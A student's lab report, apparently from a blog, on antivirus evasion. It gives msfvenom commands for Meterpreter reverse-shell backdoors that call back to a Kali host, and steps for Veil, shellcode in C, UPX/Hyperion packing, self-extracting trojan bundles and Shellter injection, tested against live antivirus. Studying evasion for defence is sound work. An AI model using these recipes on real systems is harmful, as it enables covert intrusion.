20174304王天政《网络对抗技术》Exp3免杀原理与实践

1 实验要求

1.1 实验内容

1.1.1 实践各种免杀技术

  • 正确使用msf编码器
  • msfvenom生成如jar之类的其他文件
  • veil
  • 加壳工具
  • 使用C + shellcode编程
  • 使用其他课堂未介绍方法

1.1.2 通过组合应用各种技术实现恶意代码免杀

1.1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 实验原理

  • 免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术
  • 免杀的基本方式有改变特征码和改变行为
  •  恶意软件检测机制有基于特征码检测、启发式恶意软件检测和基于行为的恶意软件检测

2 实验过程及步骤

2.1 实践各种免杀方法

2.1.1 正确使用msf编码器

使用上次实验中生成的20174304_backdoor.exe后门文件,将其放入virustotal中进行扫描,结果如下图所示:

 72款杀软中有58款报出病毒

下面我们使用msf编码器对后门程序进行编码,并进行检测

在Kali终端进入mfs控制台进行一次编码,输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.124.129 LPORT=4304 -f exe >20174304_backdoor0.exe生成编码过的可执行文件20174304_backdoor0.exe

   

去virustotal中进行扫描,结果如下:

 少了两个杀软,少了三个报出

在Kali终端输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.152.129 LPORT=4304 -f exe > 20174304_backdoor1.exe 进行十次编码,生成编码过的可执行文件20174304_backdoor1.exe

 

   

去virustotal中进行扫描,结果如下:

比一开始杀软数量没变,少了一个报出

2.1.2  msfvenom生成其他文件

(1)jar文件

终端输入命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.124.129 LPORT=4304 x> 20174304_backdoor_java.jar 生成文件

   

 去virustotal中进行扫描,结果如下:

jar格式与exe比起来杀软数量少了12个,报出数量少了23个,少了很多

(2)php文件

终端输入命令 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.124.129 LPORT=4304 x> 20174304_backdoor.php 生成php文件

   

  去virustotal中进行扫描,结果如下:

 更少了,只有三个报出病毒

2.1.3 使用veil-evasion生成后门程序及检测

(1)veil安装

安装apt-get install veil-evasion

输入命令viel

 

 输入use evasion进入veil-evasion

输入

use c/meterpreter/rev_tcp.py //进入配置

set LHOST 192.168.124.129 //kali的IP地址

set LPORT 4304 //端口号

generate //生成文件

然后输入文件名 4304

 

  检测结果:

 差不多·

2.1.4 使用C + shellcode编程

在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.124.129 LPORT=4304 -f c,得到一段shellcode编码。

 新建一个shellcode_4304.c文件,用vim进行编辑,把刚得到的shellcode数组拷贝进去,并增加一个main函数。

 使用  i686-w64-mingw32-g++ shellcode_4304.c -o shellcode_4304.exe  命令将该c文件转为exe文件shellcode_4304.exe

 检测结果:

2.1.5 加壳

(1)UPX

下载apt-get install upx

输入 upx shellcode_4304.exe -o 20174304_upxed.exe 给之前的文件加壳

  

检测结果:

(2)HYPERION

下载sudo apt-get install hyperion

下面一系列操作参见薛勐的博客,大神。。。

检测结果:

 然并卵,一顿操作,结果还不如上面那个。

2.1.6 其他方法(参考了同学的两种方法)

(1)自解压捆绑木马

(选择原因是比较简单易操作,但结局有些意外)

将后门文件与要捆绑的文件放在同一个文件夹下

 压缩文件,更改压缩参数,勾选创建自解压文件,依次选择高级->自解压选项->模式,选择全部隐藏

   

  检测结果:

意外啊,没想到简单的方法效果居然出奇的有点好,可能因为捆绑的文件太大,后门文件太小而遭到忽略

(2)shellter

下载apt-get install shellter

 使用cp /usr/share/windows-binaries/plink.exe . 指令将一个二进制文件复制到当前文件夹下,原谅我现在是plink,一会变成了putty,其中很曲折。。。

终端输入shellter启动shellter

选择A,然后输入文件路径,之后选择Y进行隐身模式。随后选择连接方式l,tcp方式连接。设置相关的参数,按Enter,文件就生成了。

    

文件扫面结果如下:

嘿,效果也还挺好

2.2 通过组合应用各种技术实现恶意代码免杀

 选取php+加壳+自解压捆绑木马

 相比单纯的php文件反而高了

但原本的文件扫过之后不知道为什么更高,难道之前就有病毒或者后门?

但是360居然没扫出来,也不太清楚为啥,可能因为php原本被扫出来的概率就很低。

2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

杀毒软件及版本

kali端

 

电脑端

 

成功实现用另一电脑实测,在杀软开启的情况下,可运行并回连成功

3 实验思考与感受

3.1基础知识问答

 1.杀软是如何检测出恶意代码的?

        (1)基于特征码检测

                 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到程序中代码与特征码库中的代码相同或者相似,就会把该程序当作恶意软件。

        (2)基于行为的恶意软件检测

                 杀毒软件根据各种病毒的特征总结并归纳,不需要已知某个程序是不是病毒,只需要分析这个程序的运行特性,就能判断出来他是否是病毒。如启发式,启发的优点是能很好的应对未知的新型病毒。缺点是不成功的启发机制会大大增加误杀率。(我看到有些同学把基于行为和启发式两个分开,但我也没看出来有什么区别,所以就写在了一起)

 2.免杀是做什么?

        对后门程序进行伪装,保证后门程序不被杀毒软件检测和查杀

 3.免杀的基本方法有哪些?

(1)修改内存特征码:

  • 直接修改特征码的十六进制法
  • 修改字符串大小写法
  • 等价替换法
  • 指令顺序调换法
  • 通用跳转法·

(2)加冷门壳:不常用的壳;加多重壳,让杀毒软件看不懂;伪装壳,把一种壳伪装成其他壳,干扰杀毒软件正常的检测

(3)加壳改壳,修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的

(4)加花指令,通过添加加花指令让杀毒软件检测不到特征码,干扰杀毒软件正常的检测。

(5)改程序入口点

3.2实验总结与体会

 本次实验需要结合第二次实验的操作,第二次实验需要结合第一次实验,让我体会到了环环相扣的感觉,让我们不得不去理解,不能得过且过,要不然有可能下一次实验你依旧很难完成。

这一次实验还好,不是很麻烦但也不是不麻烦,但是给我一种很迷幻的感觉,下载软件的时候会有一些困难,我在看了别的同学的博客尝试着安装了一遍veil并且失败之后,决定先跳过viel这步,但是在后面加壳的hyperion这里又卡住了,需要下载wine32,但是我下了许多次,kali告诉我下载提供方有问题,然后我试着apt-get update,做了很多次也没有用,搞了很久也没有办法,然后我不小心关了kali,只好重启,重启之后又安装了一下wine32,竟然自然成了,吐血啊,然后做完了hyperion,又回到viel,又一次安装viel没有成功,但是它给了提示让我run一串东西,我就把那一串东西输入然后回车,然后居然就成功了,emmmm只能说,重启大法好,重启让我的实验变得顺利,感谢重启。

其它方法里的两种方法是我参考了三位同学的,相比之前的加壳什么的,最后的效果都很不错,一种很简单的把后门加入压缩包然后自启动,另一种比较复杂的shellter,不是说操作多复杂,是我可能陷入了误区,很多次点进去输入了文件名怎么也不行,告诉我没法备份,我以为下载的程序有问题,于是装了卸卸了装好多次,最后偶然间同学提到一嘴root,我点进去试试,发现进到root里操作居然就可以了,耽误了我n久,我觉得以后实验的操作都在root里进行得了,方便省事,啥都最大权限,省得sudo了。最后拖到主机里也是个大问题,拖一次主机windows defender安全中心就给我报警,不让拖,好不容易重试几次拖进去了,没过两秒直接给我删了,于是我进到里面暂时把它关了才成的,无奈。。。

本次实验参考了很多同学的博客,十分感谢大家的帮助,感谢帅嵩徐宁艺张博王灏汉同学。

当然这次实验也让我看到了后门的可怕,和某些杀软的不太实用。希望以后能出一些靠谱一点的,杀的狠一点的杀软吧。

3.3开启杀软能绝对防止电脑中恶意代码吗?

这,,,显然不能,即使我们没有做过这次实验也是能够知道的,杀软在我的印象里一般都是落后于后门木马病毒一些的,防范总是在被攻击之后才有,然而现在科技这么发达,计算机人才层出不穷,当然不排除我可能不知道的别人还没做出后门木马,这边防御的就做出来了,毕竟不可能每一次都要被动防御。

原文地址:https://www.cnblogs.com/wtz0409/p/12609181.html